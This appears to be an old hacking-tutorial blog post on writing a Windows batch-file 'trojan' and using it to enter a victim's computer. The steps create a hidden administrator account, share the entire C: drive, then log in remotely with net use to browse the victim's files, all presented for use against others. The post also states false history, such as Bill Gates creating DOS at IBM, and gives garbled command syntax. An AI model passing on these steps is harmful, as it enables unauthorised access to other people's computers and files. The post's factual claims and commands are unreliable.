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Tuesday, September 2, 2008

Getting Into A Victims Computer Via Dos

What is DOS and what can it do?
Disk Operating System AKA DOS is a command line operating system that Windows runs on top of. It was first created and compiled by Bill Gates while working for IBM. DOS can run various types of command that communicates with your PC and Internet such as CD, Dir, Ren, Copy, Ping, Netsend, Netstat, and so forth.

Getting Started
1. Openining DOS Prompt: Go to start; Click on Run; Type in cmd; Press Ok
2. Opening Notepad: Go to start; Click on Program File; Click on Accessories; Click on Notepad.

Writing The TrojanFirst,
we are going to create an Admin account on victim's computer, so that we can access to all files. By doing so, we add "net user name /add" into the Notepad. The user account has been created, but we need to it an admin account. By doing so, we add "net localgroup "Administrators" /add name" into the Notepad under the 1st line of command. So far, we have managed to create an admin account on victim's account! But we are not there yet. We need to set a command so that we gain access to the files as well. By doing so, we add "net share system=C: /unlimited" into the Notepad under the 2nd line of command. Now, we need to save the code as a .bat file. Bingo! You just made your first trojan in batch! Pretty easy, huh?

Getting Inside
Now the real fun begins. smile.gif Go to DOS Prompt, and type in "net use victimip name." This command logs you in as an admin on the victim's computer. After being logged in, you pretty much can do what you want. smile.gif For starters, you could browse his harddrive by typing "explorer victimipsystem," and after doing so, it will open a windows explorer starting on his C: Drive.

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